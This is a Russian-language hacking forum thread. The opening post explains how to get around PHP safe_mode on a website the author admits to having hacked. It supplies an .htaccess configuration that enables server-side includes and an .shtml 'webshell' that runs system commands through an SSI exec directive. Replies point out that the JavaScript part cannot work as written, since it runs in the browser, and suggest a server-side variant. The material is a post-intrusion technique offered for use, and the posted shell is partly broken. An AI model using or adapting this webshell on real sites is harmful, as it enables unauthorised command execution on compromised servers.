Это просто один из способов обойти ограничения на выполнение системных команд при safe_mode = on. Целью не является сделать полный обзор по всем способам обхода ограничений safe_mode, а сделать упор на один. Недавно у меня появилась такая проблема, взломал сайт (неважно как), получил на нем вебшелл. Права на запись были, но... safe_mode был как на зло включен. Тогда у меня появилась идея как его обойти. Точнее способ был известен и до меня, но я его предоставлю в более удобном виде. Итак, есть вебшелл, права на запись в любую директорию сайта. Для начала смотрим phpinfo();. В поле Loaded Modules смотрим загружен ли модуль mod_include, если да, то все нормально. Создаем файл .htaccess следующего содержания: Code: AddType text/html .shtml AddHandler server-parsed .shtml Options +Includes Далее пишем своеобразный "вебшелл" на JavaScript + SSI (Server Side Includes), позволяющий обходить ограничения safe_mode и выполнять системные команды. Итак, создаем файл shell.shtml следующего содержания: Code: <html> <body> <script language="JavaScript"> <!-- function execute() { var cmd = document.exec.cmd.value; document.write('<html><body><!--#exec cmd="'+cmd+'"--></body></html>'); } //--> </script> <form name="exec"> <input type="text" name="cmd" size="20" value=""> <input type="submit" value="exec" onClick="execute()"> </form> </body> </html> Все, наш скрипт готов. Для тех кто не понял, мы собираемся выполнять команды с помощью этой строчки: Code: <!--#exec cmd="uname -a;"--> А JavaScript вставки и форма нужна для того чтобы не изменять каждый раз скрипт вручную, а делать все через веб интерфейс. Вот собственно все что я хотел рассказать. Полезные ссылки: SSI Обход Safe Mode Поднимаем железный занавес
НЕ ВЕРЮ (c) станиславский не верю что будет работать так как ssi должен выполнятся на стороне сервера а javascript выполняется на стороне клиента если очень хочется неменяя кода скрипта выполнять разные команды можно сделать чтоб в кмд передавался какойнить HTTP_ACCEPT от клиента с командой, да и вобще ssi давно и много где освещалось так что незачет.
ShAnKaR, не веришь, проверь. ты хоть понял для чего тут JavaScript нужен? выполняется только SSI, яваскрипт нужен лишь для автоматизации. тоесть для того чтобы не заливать каждый раз скрипт на сервер.
Как сервер узнает, какую команду выполнять? Чисто физически браузер не передает серву участок кода с ssi... Можно сделать у формы экшн на ифрейм, который ведет на скрипт, который в свою очередь прописывает код в .shtml-файл и перенаплавляет на него посылкой хеадера Location.